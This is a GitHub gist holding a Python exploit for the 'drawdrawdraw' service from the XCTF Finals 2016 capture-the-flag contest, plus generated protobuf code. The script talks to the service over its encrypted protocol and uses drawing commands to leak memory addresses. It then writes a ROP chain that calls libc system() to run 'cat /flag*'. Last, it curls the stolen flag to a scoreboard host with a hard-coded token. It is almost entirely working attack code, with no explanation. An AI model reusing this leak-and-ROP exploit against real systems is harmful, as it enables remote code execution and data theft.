Skip to content

Instantly share code, notes, and snippets.

@Jinmo
Created July 20, 2016 04:43
Show Gist options
  • Save Jinmo/81d3c6ab1f7862fdb4023bf24983fcb7 to your computer and use it in GitHub Desktop.
Save Jinmo/81d3c6ab1f7862fdb4023bf24983fcb7 to your computer and use it in GitHub Desktop.
drawdrawdraw exploit on XCTF Finals 2016
from transaction_pb2 import Transaction, Reply, Command
from rc4 import RC4 # https://github.com/bozhu/RC4-Python
import socket
import hexdump
import random
import struct
import telnetlib
import sys
LIBC_RET = 0x21f45
SYSTEM = 0x46590
p4 = lambda x: struct.pack("<L", x)
u4 = lambda x: struct.unpack("<L", x)[0]
p8 = lambda x: struct.pack("<Q", x)
u8 = lambda x: struct.unpack("<Q", x)[0]
HOST = '0.0.0.0'
PORT = 9000
execcmd = 'echo ho; cat /flag*\n'
def run(HOST, PORT):
s = socket.create_connection((HOST, PORT))
p = 0x00f88ea4c0f503ee5b16d72d1cb2dcc8f056b9365bce0140279b309b68d748f98be1d9e2c1b9260be691bb0d349ffeac2444f1a1a65bf9af1871c075748dd0c25dad93a707eb34eef262aae310adabac1270521c81f775989568088ee152838c60e1be2b545517a110c35826e52230f99e3946ac647f17ec2260cd6e0085debc8b
data = s.recv(128).encode('hex')
data = int(data, 16)
g_pow_x = data
g = 2
y = random.randint(2, p - 1)
session_key = pow(g_pow_x, y, p)
# print hex(session_key)
# print hex(g_pow_x)
challenge = pow(g, y, p)
# print hex(challenge)
challenge_string = ''
for i in range(128):
challenge_string += chr(challenge & 0xff)
challenge /= 256
session_key_string = ''
for i in range(128):
if session_key == 0:
session_key_string = session_key_string.ljust(128, '\x00')
break
session_key_string = chr(session_key & 0xff) + session_key_string
session_key /= 256
s.send(challenge_string[::-1])
def rw(x):
d = ''
while x not in d:
c = s.recv(1)
sys.stdout.write(c)
if c == '':
print 'socket error'
exit()
d += c
return d
def send(x):
data = ''
x = p4(len(x)) + x
for c, d in zip(x, RC4read):
data += chr(ord(c) ^ d)
s.send(data)
def read():
data = ''
size = u4(str(bytearray([ord(x) ^ y for x, y in zip(s.recv(4), RC4write)])))
if size > 0x100000:
print 'server tried DoS against us', hex(size)
exit()
for c, d in zip(range(size), RC4write):
c = s.recv(1)
data += chr(ord(c) ^ d)
data = bytes(data)
return data
RC4read = RC4(bytearray(session_key_string[:64]))
RC4write = RC4(bytearray(session_key_string[64:]))
t = Transaction()
r = random.randint(50, 100)
for i in range(r):
cmd = t.cmds.add()
cmd.action = Command.DRAW_DOT
cmd.x = random.randint(0, 63)
cmd.y = random.randint(0, 63)
cmd = t.cmds.add()
cmd.action = Command.CLEAR_ALL
cmd = t.cmds.add()
cmd.action = Command.DRAW_PATTERN
cmd.x = 0
cmd.y = 0
cmd.pattern_id = 25
cmd = t.cmds.add()
cmd.action = Command.DRAW_PATTERN
cmd.x = 0
cmd.y = 16
cmd.pattern_id = 26
cmd = t.cmds.add()
cmd.action = Command.VIEW
data = t.SerializeToString()
t.reply.message = 'a'
t.reply.type = 2
t.reply.view = 'view'
send(data)
r = Reply()
r.ParseFromString(read())
data = r.view[5:]
data = data.replace(' ', '0').replace('*', '1')
data = ''.join(row[:16][::-1] for row in data.split('\n')[:32])
data = [int(data[i:i+8], 2) for i in range(0, len(data), 8)]
print len(data)
data = str(bytearray(data))
data = ''.join([data[i:i+2][::-1] for i in range(0, len(data), 2)])
#hexdump.hexdump(data)
#print `data`
data = [u8(data[i:i+8]) for i in range(0, len(data), 8)]
print map(hex, data), HOST
base = data[3] - 0x3dbc
libc_base = data[7] - LIBC_RET
print hex(base), hex(libc_base)
data2 = [base + 0x4175, base + 0x20c000, base + 0x4420, len(execcmd) + 1, base + 0x4C30, base + 0x4175, base + 0x20c000, libc_base + SYSTEM]
data1 = list(data)[:4]
data1[3] = base + 0x3f59
payload1 = ''.join([p8(data1[i]) for i in range(len(data1))])
payload2 = ''.join([p8(data2[i]) for i in range(len(data2))])
t = Transaction()
cmd = t.cmds.add()
cmd.action = Command.CLEAR_ALL
for i in range(16):
for j in range(16):
if ord(payload1[i * 2 + j / 8]) & (1 << (j & 7)):
cmd = t.cmds.add()
cmd.action = Command.DRAW_DOT
cmd.x = j
cmd.y = i
for i in range(32):
for j in range(16):
if ord(payload2[i * 2 + j / 8]) & (1 << (j & 7)):
cmd = t.cmds.add()
cmd.action = Command.DRAW_DOT
cmd.x = j + 16
cmd.y = i
cmd = t.cmds.add()
cmd.action = Command.SAVE_AS_PATTERN
cmd.x = 0
cmd.y = 0
cmd.pattern_id = 25
cmd = t.cmds.add()
cmd.action = Command.SAVE_AS_PATTERN
cmd.x = 16
cmd.y = 0
cmd.pattern_id = 26
cmd = t.cmds.add()
cmd.action = Command.SAVE_AS_PATTERN
cmd.x = 16
cmd.y = 16
cmd.pattern_id = 27
cmd = t.cmds.add()
cmd.action = Command.END
data = t.SerializeToString()
send(data)
read()
s.send(execcmd + '\x00')
rw('ho\n')
token = rw('\n').strip()
return token
import os
import urllib2
token = run(sys.argv[1], PORT)
import sys
os.system('curl http://172.16.4.1/Common/submitAnswer -d \'answer=%s&token=9edc17d82fdcd0954ae5c1e6b8560531\'; echo %s' % (token, sys.argv[1]) )
print '=>', token
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: transaction.proto
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
DESCRIPTOR = _descriptor.FileDescriptor(
name='transaction.proto',
package='',
serialized_pb='\n\x11transaction.proto\"\xc4\x01\n\x07\x43ommand\x12\x1f\n\x06\x61\x63tion\x18\x01 \x02(\x0e\x32\x0f.Command.Action\x12\t\n\x01x\x18\x02 \x01(\x05\x12\t\n\x01y\x18\x03 \x01(\x05\x12\x12\n\npattern_id\x18\x04 \x01(\x05\"n\n\x06\x41\x63tion\x12\r\n\tCLEAR_ALL\x10\x00\x12\x0c\n\x08\x44RAW_DOT\x10\x01\x12\r\n\tCLEAR_DOT\x10\x02\x12\x13\n\x0fSAVE_AS_PATTERN\x10\x03\x12\x10\n\x0c\x44RAW_PATTERN\x10\x04\x12\x08\n\x04VIEW\x10\x05\x12\x07\n\x03\x45ND\x10\x06\"p\n\x05Reply\x12\x1e\n\x04type\x18\x01 \x02(\x0e\x32\x10.Reply.ReplyType\x12\x0c\n\x04view\x18\x02 \x01(\t\x12\x0f\n\x07message\x18\x03 \x01(\t\"(\n\tReplyType\x12\x08\n\x04VIEW\x10\x00\x12\x06\n\x02OK\x10\x01\x12\t\n\x05\x45RROR\x10\x02\"<\n\x0bTransaction\x12\x16\n\x04\x63mds\x18\x01 \x03(\x0b\x32\x08.Command\x12\x15\n\x05reply\x18\x02 \x01(\x0b\x32\x06.Reply')
_COMMAND_ACTION = _descriptor.EnumDescriptor(
name='Action',
full_name='Command.Action',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='CLEAR_ALL', index=0, number=0,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='DRAW_DOT', index=1, number=1,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='CLEAR_DOT', index=2, number=2,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='SAVE_AS_PATTERN', index=3, number=3,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='DRAW_PATTERN', index=4, number=4,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='VIEW', index=5, number=5,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='END', index=6, number=6,
options=None,
type=None),
],
containing_type=None,
options=None,
serialized_start=108,
serialized_end=218,
)
_REPLY_REPLYTYPE = _descriptor.EnumDescriptor(
name='ReplyType',
full_name='Reply.ReplyType',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='VIEW', index=0, number=0,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='OK', index=1, number=1,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='ERROR', index=2, number=2,
options=None,
type=None),
],
containing_type=None,
options=None,
serialized_start=292,
serialized_end=332,
)
_COMMAND = _descriptor.Descriptor(
name='Command',
full_name='Command',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='action', full_name='Command.action', index=0,
number=1, type=14, cpp_type=8, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='x', full_name='Command.x', index=1,
number=2, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='y', full_name='Command.y', index=2,
number=3, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='pattern_id', full_name='Command.pattern_id', index=3,
number=4, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
_COMMAND_ACTION,
],
options=None,
is_extendable=False,
extension_ranges=[],
serialized_start=22,
serialized_end=218,
)
_REPLY = _descriptor.Descriptor(
name='Reply',
full_name='Reply',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='type', full_name='Reply.type', index=0,
number=1, type=14, cpp_type=8, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='view', full_name='Reply.view', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=unicode("", "utf-8"),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='message', full_name='Reply.message', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=unicode("", "utf-8"),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
_REPLY_REPLYTYPE,
],
options=None,
is_extendable=False,
extension_ranges=[],
serialized_start=220,
serialized_end=332,
)
_TRANSACTION = _descriptor.Descriptor(
name='Transaction',
full_name='Transaction',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='cmds', full_name='Transaction.cmds', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='reply', full_name='Transaction.reply', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
extension_ranges=[],
serialized_start=334,
serialized_end=394,
)
_COMMAND.fields_by_name['action'].enum_type = _COMMAND_ACTION
_COMMAND_ACTION.containing_type = _COMMAND;
_REPLY.fields_by_name['type'].enum_type = _REPLY_REPLYTYPE
_REPLY_REPLYTYPE.containing_type = _REPLY;
_TRANSACTION.fields_by_name['cmds'].message_type = _COMMAND
_TRANSACTION.fields_by_name['reply'].message_type = _REPLY
DESCRIPTOR.message_types_by_name['Command'] = _COMMAND
DESCRIPTOR.message_types_by_name['Reply'] = _REPLY
DESCRIPTOR.message_types_by_name['Transaction'] = _TRANSACTION
class Command(_message.Message):
__metaclass__ = _reflection.GeneratedProtocolMessageType
DESCRIPTOR = _COMMAND
# @@protoc_insertion_point(class_scope:Command)
class Reply(_message.Message):
__metaclass__ = _reflection.GeneratedProtocolMessageType
DESCRIPTOR = _REPLY
# @@protoc_insertion_point(class_scope:Reply)
class Transaction(_message.Message):
__metaclass__ = _reflection.GeneratedProtocolMessageType
DESCRIPTOR = _TRANSACTION
# @@protoc_insertion_point(class_scope:Transaction)
# @@protoc_insertion_point(module_scope)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment